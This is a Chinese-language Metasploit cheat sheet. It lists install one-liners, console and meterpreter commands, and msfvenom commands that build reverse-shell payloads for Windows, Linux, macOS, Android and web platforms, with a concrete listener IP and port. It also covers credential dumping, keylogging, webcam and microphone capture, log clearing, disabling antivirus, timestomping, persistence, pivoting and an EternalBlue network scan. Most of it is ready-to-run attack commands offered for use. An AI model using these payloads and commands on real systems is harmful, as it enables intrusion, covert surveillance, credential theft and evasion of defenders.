一键式安装
Ubuntu-System
cd /opt
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
Termux-System
cd ~
pkg install wget
wget https://Auxilus.github.io/metasploit.sh
bash metasploit.sh
OR
pkg install unstable-repo
pkg install metasploit
Win10_Kali-System
powershell管理员模式下输入:
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
kali命令行下输入:
sudo apt-get install metasploit-framework
常用命令
show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
show options – 查看该模块所有可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
back(返回): 从目前的情况下向后移动
cd: 改变当前的工作目录
color: 切换颜色
connect(远程连接): 与主机通信
exit (退出命令行): 退出控制台
help(帮助) : 帮助菜单
info(获取模块信息): 关于一个或多个模块显示信息
irb: 进入irb脚本模式
jobs: 显示和管理职位
kill(结束进程): 结束一个进程
load (加载): 加载一个框架插件
loadpath : 搜索和负载从一个路径模块
makerc: 保存自开始进入到一个文件中的命令
popm: 弹出最新的模块从堆栈中并使其活跃
previous : 将以前加载模块作为当前模块
pushm : 推主动或模块列表在模块栈
quit (退出控制台): 退出控制台
reload_all Reloads : 从所有定义的模块路径的所有模块
rename_job : 重命名工作
resource : 运行存储命令在文件
route : 通过会话路由流量
save: 将数据存储主动
search(搜索exp等模块关键字): 搜索模块的名称和说明
sessions(会话功能): 转储会话列表和显示有关会话的信息
set (设置参数): 设置一个特定的上下文变量的值
setg(全局设置参数): 设置一个全局变量的值
show (展示参数模块): 给定类型的显示模块或所有模块
spool : 写控制台输出到一个文件以及屏幕
threads : 查看和操作后台线程
unload (卸载某个插件): 卸载一个框架插件
unset (删除某个设置参数): 取消设置一个或多个特定的上下文变量
unsetg (取消全局某个设置参数): 取消设置一个或多个全局变量的
use (使用某个模块): 选择按名称模块
version(查看版本信息): 显示的框架和控制台库版本号
常用命令 2
background : 进程隐藏至后台
Sysinfo : 系统平台信息
screenshot : 屏幕截取
shell : 命令行shell (exit退出)
ls : 查看文件目录列表
rm : 删除文件
cat : 查看目标文件
getwd : 获取目标机当前工作目录,getlwd本地当前工作工作目录
edit (编辑): 编辑与$ VISUAL或$ EDITOR当前模块的
download C:\\Users\\123\\Desktop\\1.txt 1.txt : 下载文件
upload /var/www/lcx.exe lcx.exe : 上传文件
search -d c: -f *.doc : 搜索文件
execute -f cmd.exe -i : 执行程序/命令
ps : 查看进程
run post/windows/capture/keylog_recorder : 键盘记录
getuid : 查看当前用户权限
use priv : 加载特权模块
getsystem : 提升到SYSTEM权限
hashdump : 导出密码散列
steal_token <PID> : 窃取令牌
rev2self : 恢复原来的令牌
migrate pid : 迁移进程
run killav : 关闭杀毒软件
run getgui-e 启用远程桌面
portfwd add -l 1234 -p 3389 -r <目标IP> : 端口转发
run get_local_subnets : 获取内网网段信息
run autoroute -s <内网网段> : 创建自动路由
run autoroute -p : 查看自动路由表
常用命令 3
meterpreter>clearev 清除日志
meterpreter>webcam_list 查看目标是否有摄像头
meterpreter>webcam_snap 连接摄像头拍摄照片
meterpreter>webcam_stream 用摄像头录像
meterpreter>getprivs 查看当前权限
meterpreter>keyscan_start/stop 开始/关闭键盘记录
meterpreter>keyscan_dump 获取键盘记录内容
meterpreter>record_mic 录音
meterpreter>run post/windows/manage/enable_rdp 开启 3389 端口
meterpreter>idletime 查看目标机闲置时间
meterpreter>uictl disable mouse 禁用鼠标
meterpreter>uictl disable keyboard 禁用键盘
meterpreter>getproxy 查看代理信息
meterpreter>run autoroute -s 192.168.159.0/24 添加到目标环境网络
meterpreter>run autoroute –p 查看添加的路由
meterpreter>run post/windows/gather/checkvm 是否 windows 虚拟机
meterpreter>run post/linux/gather/checkvm 是否 linux 虚拟机
meterpreter>run post/windows/gather/enum_patches 补丁信息
meterpreter>idletime 查看目标机闲置时间
meterpreter>reboot / shutdown 重启或关闭主机
meterpreter>timestomp -v C://2.txt 查看时间戳
meterpreter>timestomp C://2.txt -f C://1.txt 将 1.txt 的时间戳复制给 2.txt
通用使用流程
第一步: search name 模块
第二步: use name 模块
第三步: info 查看模块信息
第四步: show payloads 查看该模块可以使用的攻击载荷(为scanner的时候不需要)
第五步: set payload 载荷
第六步: show targets 查看该攻击载荷使用的系统类型(为scanner的时候不需要)
第七步: set targets num 设置目标的系统类型
第八步: show options 查看需要设置的参数show advanced 列出所有高级配置选项
第九步: set name 设置参数
第十步: exploit(为scanner 时用run)
第十一步: session –l –v列出所有可用的交互会话以及详细信息
设置监听
所有监听模块:
Windows
windows/meterpreter/reversetcp
windows/meterpreter/bind_tcp
windows/meterpreter/reverse_hop_http
windows/meterpreter/reverse_http
windows/meterpreter/reverse_http_proxy_pstore
windows/meterpreter/reverse_https
windows/meterpreter/reverse_https_proxy
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp
Linux
linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell/bind_tcp
linux/x64/shell/reverse_tcp
linux/x64/shell_bind_tcp
linux/x64/shell_bind_tcp_random_port
linux/x64/shell_reverse_tcp
设置监听流程:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > show options
msf exploit(handler) > set LHOST 本机IP地址
msf exploit(handler) > set LPORT 监听端口
msf exploit(handler) > exploit -j -z
-j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互)
msf exploit(handler) > jobs 查看后台攻击任务
msf exploit(handler) > kill <id> 停止某后台攻击任务
msf exploit(handler) > sessions -l (查看会话)
msf exploit(handler) > sessions -i 2 选择会话
msf exploit(handler) > sessions -k 2 结束会话
生成反弹木马
默认参数:
-p 指定要使用的 msf 的 payload,也可以使用自定义 payload。
-l 列出所有可用的所有可用资源. 模块类型包括: payloads, encoders, nops等。
-n 为 payload 预先指定一个 NOP 滑动长度(一切为了绕过防火墙与免杀)。
-f 指定 payload 输出的文件类型,--help-formats,可查看支持的所有输出格式(默认的输出格式是 raw,直接输出 payload 的字符,含乱码之类)。
-e 指定要使用编码器。
-a 指定 payload 的目标架构,如 windows 系统的 x64,x86。
--platform 有效载荷的平台,如 windows 系统等。
-s 设定有效攻击荷载的最大长度,简单说就是生成的后门的字节数。
-b 指定坏字符,比如空字符截断问题等,导致后门无法运行。
-i 指定编码的次数,如果使用编码器。
-c 指定一个附加的 win32 shellcode 文件指定一个自定义的可执行文件作为模板。
-x 使用一个自定义可执行程序模板,并将 payload 嵌入其中
-k 当模板被执行时,payload 自动分离并注入到新的进程中,一般和-x 选项一并使用。
-o 指定创建好的 payload 的存放位置
-v 指定一个自定义的变量,以确定输出格式
生成 shell 命令:
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x86_linux.elf
msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f elf -o x6_4linux.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f exe -o x64shell.exe
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f exe -o x86_shell.exe
(32 程序也可在 64 位系统运行)
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 -a x86 --platform Windows -f dll >x86.dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.3.226 LPORT=6666 --platform Windows -f dll >x64.dll
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f macho -o payload.macho
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.war
Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.pl
Powershell:
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
msfvenom -a x86 --platform windows -p windows/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o x86_shell.ps1
msfvenom -a x64 --platform windows -p windows/x64/powershell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -e cmd/powershellbase64 -i 3 -f raw -o x64_shell.ps1
Android:
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f apk -o payload.apk
Aspx:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f aspx -o payload.aspx
Nodejs:
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.js
Ruby:
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.rb
Lua:
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.3.226 LPORT=8888 -f raw -o payload.lua
Windows Shellcode:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f c
Linux Shellcode:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f c
Mac Shellcode:
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.226 LPORT=8888 -f c
常用技巧
1、长期维持权限 1
meterpreter > run metsvc -A
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST 192.168.3.226
set LPORT 31337 (默认)
exploit
该条命令执行成功后,会在目标系统自动创建一个 meterpreter 的 serverces,并自动保存为开机自动启动。
2、长期维持权限 2
meterpreter > run persistence –X –i 50 –p 8888 –r 192.168.3.226
-A 自动启动一个匹配的exploit/multi/handler来连接到代理
-L 如果未使用%TEMP%,则在目标主机中写入有效负载的位置。
-P 有效负载使用,默认为windows/meterpreter/reverse_tcp。
-S 作为服务自动启动代理程序(具有SYSTEM权限)
-T 要使用的备用可执行模板
-U 用户登录时自动启动代理
-X 系统引导时自动启动代理程序
-h 这个帮助菜单
-i 每次连接尝试之间的时间间隔(秒)
-p 运行Metasploit的系统正在侦听的端口
-r 运行Metasploit监听连接的系统的IP
3、获取 shell 后,添加一层路由
meterpreter > run autoroute -h 查看设置路由命令帮助
meterpreter > run get_local_subnets 获取当前设备路由链路
meterpreter > run autoroute -s 192.168.3.0/24 设置路由
meterpreter > run autoroute -p 查看目前设置好的路由
4、批量扫局域网内永恒之蓝
msf5 exploit(multi/handler) > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > show options
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.3.0/24
rhosts => 192.168.3.0/24
msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 50
threads => 50
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
5、设置代理
msf5 > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > show options
msf5 auxiliary(server/socks4a) > set srvport 8888
msf5 auxiliary(server/socks4a) > run
[*] Auxiliary module running as background job 0.
[*] Starting the socks4a proxy server
1. 打开浏览器代理设置
2. 设置Socks Host msf_IP,Port msf_8888
3. 选择Socks v4
4. 保存设置
5. 直接浏览器访问内网地址
6、常见远程攻击模块
use exploit/windows/smb/ms08_067_netapi (MS08_067 Windows 2k,XP,2003远程攻击)
use exploit/windows/dcerpc/ms06_040_netapi (MS06_040 Windows NT,2k,XP,2003远程攻击)
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index (MS09_050 Windows Vista SP1 / SP2和Server 2008(x86)远程攻击)
